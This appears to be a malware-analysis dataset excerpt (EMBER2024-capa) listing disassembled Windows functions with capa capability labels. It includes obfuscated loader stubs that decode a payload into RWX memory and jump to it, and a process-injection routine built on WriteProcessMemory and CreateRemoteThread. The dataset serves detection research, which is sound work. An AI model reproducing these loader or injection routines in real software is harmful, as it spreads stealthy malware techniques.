joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x402ee4
pop dword [ebp - 0x14]
mov eax, 0x402ee4
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf919709f
add dword [ebp - 0x24], 0x5538d4ac
mov dword [ebp - 0x20], 0xae00687b
sub dword [ebp - 0x20], 0x7bcd1c36
mov dword [ebp - 0x1c], 0x8b02f69d
add dword [ebp - 0x1c], 0xc1494d91
mov dword [ebp - 0x18], 0x503285
add dword [ebp - 0x18], 0xffafcd7b
lea eax, [ebp - 0x24]
push eax
mov eax, 0x88b49ff0
sub eax, 0x88741eec
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x3897133c
add dword [ebp - 0x24], 0x3bdb561a
mov dword [ebp - 0x20], 0x4aab2db9
add dword [ebp - 0x20], 0xf6c133bc
mov dword [ebp - 0x1c], 0x36971c65
add dword [ebp - 0x1c], 0x2cd85007
mov dword [ebp - 0x18], 0x6f6ec4ee
sub dword [ebp - 0x18], 0x6f6ec4ee
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x39213
push 0
call eax
mov ecx, 0x5060
xor ebx, ebx
add ebx, eax
mov esi, 0xee40e3d9
sub esi, 0xedf9ffd9
add esi, dword [ebp - 0x14]
mov edx, 0x395a39ce
mov dword [ebp - 4], 0x4d3dd3db
mov edi, dword [esi]
add dword [ebp - 0xc], esi
sub edi, edx
xor dword [ebp - 0x10], edi
mov dword [ebx], edi
add dword [ebp - 0x10], 0x23b93f47
add ebx, 4
add esi, 0x2f979007
add esi, 0xd0686ffd
loop 0x402ff2
add eax, 0x31f14762
add eax, 0xce0fecf1
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40614b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40615a
pop dword [ebp - 0x3c]
mov eax, 0xa81be598
add eax, 0x58247bc2
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x38cd5
push 0
mov eax, 0x2ab197ea
sub eax, 0x2a70b712
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x4661
mov edi, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x3c]
mov esi, 0x5ae556cd
add dword [ebp - 0x1c], edx
mov edx, dword [ebx]
xor dword [ebp - 0x18], 0xc613c95a
sub edx, esi
add dword [ebp - 0x2c], 0x8622b9b8
mov dword [edi], edx
add dword [ebp - 0x18], esi
add edi, 0x2a28ec9f
sub edi, 0x2a28ec9b
add ebx, 4
loop 0x4061a7
add eax, 0xfa2bc4e7
sub eax, 0xfa2ab890
mov ebx, eax
add eax, 5
mov ecx, 0xf81d5c3e
sub ecx, 0xf7dd5c3e
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10002807
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10002816
pop dword [ebp - 0x38]
mov eax, 0x1d1a8d8a
add eax, 0xf2e59a8c
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xbb929476
sub dword [ebp - 0x48], 0x6d404f2b
mov dword [ebp - 0x44], 0x6d228cc3
add dword [ebp - 0x44], 0xc510bf82
mov dword [ebp - 0x40], 0xa8248e65
add dword [ebp - 0x40], 0xa427b5c9
mov dword [ebp - 0x3c], 0xeaa87c43
sub dword [ebp - 0x3c], 0xeaa87c43
lea eax, [ebp - 0x48]
push eax
mov eax, 0x4617ef7a
add eax, 0xc9ea610a
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x45cd63e4
add dword [ebp - 0x48], 0x2ea50572
mov dword [ebp - 0x44], 0x55f1378d
sub dword [ebp - 0x44], 0x1484d618
mov dword [ebp - 0x40], 0xe133076e
add dword [ebp - 0x40], 0x823c64fe
mov dword [ebp - 0x3c], 0x5abad9cd
add dword [ebp - 0x3c], 0xa5452633
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x406ff
push 0
call eax
mov ecx, 0x5b4c
mov edx, eax
mov edi, 0x6b534d92
add edi, 0xa4afbe6e
add edi, dword [ebp - 0x38]
mov esi, 0x7ed54ea
add dword [ebp - 4], 0xb01c3f5a
mov ebx, dword [edi]
xor dword [ebp - 0x30], 0x2b1923b9
sub ebx, esi
xor dword [ebp - 0x10], 0x3a1b955b
mov dword [edx], ebx
add dword [ebp - 0x18], esi
add edx, 4
add edi, 0xb038ba57
add edi, 0x4fc745ad
loop 0x10002927
add eax, 0x16003
mov ebx, eax
add eax, 0x8c2428f5
add eax, 0x73dbd710
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x1001c940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c9db
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c992
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c992
cmp esi, ebx
jge 0x1001c992
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c9d5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c9d5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c9ed
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001cc10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001cc38
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cc52
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10002807
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022930
leave
ret 4

Function at 0x1001ce20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001ce56
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001ceb5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10002807
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10002807
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10002807
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022930
leave
ret 0x10

Function at 0x1001ced0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cefc
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cf2d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cf2b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10002807
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cf2d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022930
leave
ret 8
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
push esi
push edi
sub esp, 0x11a0
lea eax, [esp]
lea esi, [esp + 0xfa0]
push esi
push 0xfa0
push eax
call dword [sym.imp.kernel32.dll_K32EnumProcesses]
test al, al
je 0x1000110b
mov edi, dword [esi]
push dword [esp + edi - 4]
push 0
push 0x43a
call dword [sym.imp.kernel32.dll_OpenProcess]
test eax, eax
je 0x1000106b
mov ebp, eax
push 0x100
push esi
push 0
push ebp
call dword [sym.imp.kernel32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x10001064
push esi
push 0x100021b0
call dword [sym.imp.kernel32.dll_lstrcmpiW]
test eax, eax
je 0x1000108c
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
sub edi, 4
jne 0x1000102a
push 0x10040
push 0x100021d0
push 0x100021d4
push 0
call dword [sym.imp.user32.dll_MessageBoxW]
jmp 0x10001122
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov esi, eax
push pe_nt_image_headers32
push 0x1000
push dword [esi + 0x90]
push 0
push ebp
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
test eax, eax
je 0x10001104
mov edi, eax
push 0
push dword [esi + 0x90]
push esi
push edi
push ebp
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
test al, al
je 0x100010f5
lea eax, [edi + 0x1136]
push 0
push 0
push edi
push eax
push 0x1000
push 0
push ebp
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
test eax, eax
je 0x100010f5
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x10001122
push 0x4000
push 0
push edi
push ebp
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0x10010
push 0x100021d0
push 0x10002204
push 0
call dword [sym.imp.user32.dll_MessageBoxW]
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x10001ef8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
sub esp, 4
lea eax, [esp]
push eax
push pe_nt_image_headers32
push dword [esp + 0x1c]
push dword [esp + 0x18]
call dword [sym.imp.kernel32.dll_VirtualProtect]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub edx, 1
mov bh, byte [eax + edx]
mov bl, byte [ecx + edx]
mov byte [eax + edx], bl
mov byte [ecx + edx], bh
jne 0x10001f1c
lea eax, [esp]
push eax
push dword [esp + 4]
push dword [esp + 0x1c]
push dword [esp + 0x18]
call dword [sym.imp.kernel32.dll_VirtualProtect]
add esp, 4
pop ebx
ret 0xc
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x403203
pop dword [ebp - 0x34]
mov eax, 0xb79216d4
add eax, 0x48ae1b2f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x59d322d8
sub dword [ebp - 0x44], 0xb80dd8d
mov dword [ebp - 0x40], 0x21bfcd77
add dword [ebp - 0x40], 0x10737ece
mov dword [ebp - 0x3c], 0xcfdda07c
add dword [ebp - 0x3c], 0x7c6ea3b2
mov dword [ebp - 0x38], 0x379f132c
add dword [ebp - 0x38], 0xc860ecd4
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x9e58fd54
sub dword [ebp - 0x44], 0x29e693fe
mov dword [ebp - 0x40], 0x7280d340
add dword [ebp - 0x40], 0xceeb8e35
mov dword [ebp - 0x3c], 0x8ecb2bf2
sub dword [ebp - 0x3c], 0x2b5bbf86
mov dword [ebp - 0x38], 0x1d11d0d2
add dword [ebp - 0x38], 0xe2ee2f2e
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x2761469c
sub eax, 0x2720d5f4
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3c2fd
push 0
call eax
mov ecx, 0x5e5f
mov ebx, eax
mov esi, 0x7e856e69
add esi, 0x81bb9197
add esi, dword [ebp - 0x34]
mov edi, 0x7f8bf3ef
sub edi, 0xd9b88520
mov edx, dword [esi]
sub dword [ebp - 0x18], edi
xor edx, edi
xor dword [ebp - 8], 0x3bc031ea
mov dword [ebx], edx
xor dword [ebp - 0x20], eax
add ebx, 0x7241413f
add ebx, 0x8dbebec5
add esi, 0x38ddd1b5
add esi, 0xc7222e4f
loop 0x40331a
add eax, 0x16c4f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4010f0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40e218
push eax
mov dword fs:[0], esp
push 0x46f
mov dword [esp + 0xc], 0
call fcn.004010a0
mov eax, dword [esp + 0x14]
add esp, 4
push 5
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0x10]
mov dword [esp + 8], 0xffffffff
call fcn.004088d6
mov ecx, dword [esp]
mov eax, 0xc
mov dword fs:[0], ecx
add esp, 0xc
ret

Function at 0x404bf1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4139c8
cmp edx, dword [eax]
je 0x404c13
add eax, 8
inc ecx
cmp eax, 0x413a58
jl 0x404c04
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4139c8]
jne 0x404d41
mov eax, dword [0x418078]
cmp eax, 1
je 0x404d1b
test eax, eax
jne 0x404c44
cmp dword [0x4135d4], 1
je 0x404d1b
cmp edx, 0xfc
je 0x404d41
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x404c7b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404e80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404f70
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404cbe
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404f70
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41083c
push edi
call fcn.00406e70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404e80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404e90
lea eax, [ebp - 0xa0]
push 0x41081c
push eax
call fcn.00404e90
push dword [esi + 0x4139cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404e90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406dd8
add esp, 0x2c
pop edi
jmp 0x404d41
lea eax, [ebp + 8]
lea esi, [esi + 0x4139cc]
push 0
push eax
push dword [esi]
call fcn.00404f70
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret

Function at 0x40d7d9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40d807
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x40d825
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040d73f
jmp 0x40d825
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40d825
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0040d73f
test edi, edi
mov eax, edi
jne 0x40d80f
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x402c00
pop dword [ebp - 0x28]
mov eax, 0x402c00
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x2e0cf030
add dword [ebp - 0x38], 0x2045551b
mov dword [ebp - 0x34], 0x55d3228e
add dword [ebp - 0x34], 0xdc6029b7
mov dword [ebp - 0x30], 0x77f73d5e
add dword [ebp - 0x30], 0xd45506d0
mov dword [ebp - 0x2c], 0x4dd742b
sub dword [ebp - 0x2c], 0x4dd742b
lea eax, [ebp - 0x38]
push eax
mov eax, 0x44c44918
sub eax, 0x4483c88c
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x751ee927
add dword [ebp - 0x38], 0xff53802f
mov dword [ebp - 0x34], 0xda3b9899
add dword [ebp - 0x34], 0x6730c8dc
mov dword [ebp - 0x30], 0xba839c4c
add dword [ebp - 0x30], 0xa8ebd020
mov dword [ebp - 0x2c], 0x83db361c
add dword [ebp - 0x2c], 0x7c24c9e4
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x62af0528
add eax, 0x9d917bac
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x362ee
push 0
call eax
mov ecx, 0x45fa
mov esi, eax
mov edx, 0xb25b91e1
sub edx, 0xb21a81e1
add edx, dword [ebp - 0x28]
mov ebx, 0xcf9a7c98
xor dword [ebp - 0x18], edi
mov edi, dword [edx]
sub edi, ebx
mov dword [esi], edi
add dword [ebp - 0x1c], 0xd4d93240
add esi, 0x9a427730
add esi, 0x65bd88d4
add edx, 0x649fbb28
sub edx, 0x649fbb24
loop 0x402d11
add eax, 0xe13bbde7
sub eax, 0xe13ab32c
mov ebx, eax
add eax, 0x52b5abe4
sub eax, 0x52b5abdf
mov ecx, 0x423a5d11
add ecx, 0xbe05a2ef
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x402f7c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x470008], 0x8088405
inc edx
mov dword [ebx + 0x470008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40367c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x470024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403714
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036f4
xor eax, eax
push ebp
push 0x4036ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403730
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036f4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x470024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x470024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404520
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x55d048], 0
je 0x404581
cmp word [0x55d21c], 0xd7b2
jne 0x404549
cmp dword [0x55d224], 0
jbe 0x404549
mov eax, 0x55d218
call dword [0x55d234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4045a8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x470030], 0
jne 0x40459d
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret